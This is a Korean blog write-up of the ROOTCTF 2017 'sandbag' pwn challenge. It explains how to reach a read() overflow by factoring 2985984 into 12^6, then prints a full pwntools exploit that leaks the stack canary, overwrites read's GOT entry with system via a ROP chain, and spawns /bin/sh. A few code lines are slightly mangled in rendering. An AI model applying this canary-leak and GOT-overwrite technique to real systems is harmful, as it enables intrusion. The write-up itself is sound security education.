본문 바로가기

CTF

[ROOTCTF 2017] Factorization(sandbag)

메인함수 모습이다.

먼저 취약점이 있는 부분은 아래와 같다.

오버플로우가 있는 read 취약점부분으로 가려면 a5(time)이 2985984가 되야 하며 입력은 4가 되어야한다.

어떻게 할지 a5(time)을 2985984로 만들어 줄지 고민했는데 문제 이름 자체가 인수분해(Factorization) 라서 저 숫자를 인수분해하면 12의 6승이 나온다.

3번 메뉴로 가서 sleep(4) 메뉴로 들어가면 곱하기를 하기 때문에 a1, a2, a3, a4, a5, a6 을 모두 12로 만들어준 후에 sleep을 하면 2985984가 될 것이다.

1번 메뉴에서 a1, a2, a3 2번 메뉴에서 a4, a5, a6 을 각각 12번 + 해준 후에 sleep 하고 취약점 있는 부분으로 가서 rop 하면 익스가 가능하다.


[Exploit]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
= process('./sandbag')
= ELF('./sandbag')
 
read_got = e.got['read']
offset = 0x9ad50 #read-system
pppr = 0x8048f49
pr = 0x8048f4b
 
for a in range(13):
    for b in range(1,4):
        for c in range(12):
            print p.recv(1024)
            p.sendline(str(a))
            print p.recv(1024)
            p.sendline(str(b))
p.recv(1024)
p.sendline('3')
p.recv(1024)
p.sendline('4')
 
p.recv(1024)
p.sendline('5')
p.recv(1024)
 
p.sendline('2')
p.recv(1024)
p.sendline('4')
p.recv(1024)
p.sendline('A'*64)
 
p.recvuntil("A\n")
canary = u32("\x00"+p.recv(3))
print 'canary : ' + hex(canary)
print  p.recv(1024)
 
#rop start
payload = ''
payload += 'A'*0x40
payload += p32(canary)
payload += 'A'*4
#/bin/sh -> bss
payload += p32(e.plt['read'])
payload += p32(pppr)
payload += p32(0)
payload += p32(e.bss())
payload += p32(len('/bin/sh')+1)
#read leak
payload += p32(e.plt['puts'])
payload += p32(pr)
payload += p32(read_got)
#read_got -> system
payload += p32(e.plt['read'])
payload += p32(pppr)
payload += p32(0)
payload += p32(read_got)
payload += p32(4)
#system(/bin/sh)
payload += p32(e.plt['read'])
payload += 'AAAA'
payload += p32(e.bss())
 
p.sendline('2')
p.recv(1024)
p.sendline('4')
p.recv(1024)
p.sendline(payload)
p.recv(1024)
p.sendline('6'#exit
p.recv(1024)
 
p.sendline('/bin/sh')
read = u32(p.recv(1024)[:4])
print 'read : ' + hex(read)
print 'system : ' + hex(read-offset)
p.sendline(p32(read-offset))
p.interactive()
cs


'CTF' 카테고리의 다른 글

[White Hacker League 2017] Ghost  (0) 2018.03.05
[Codegate 2016] floppy  (0) 2018.03.03
[Codegate 2017] babypwn  (0) 2018.02.23
[Codegate 2016] watermelon  (0) 2018.02.23
[Codegate 2014] nuclear  (0) 2018.02.23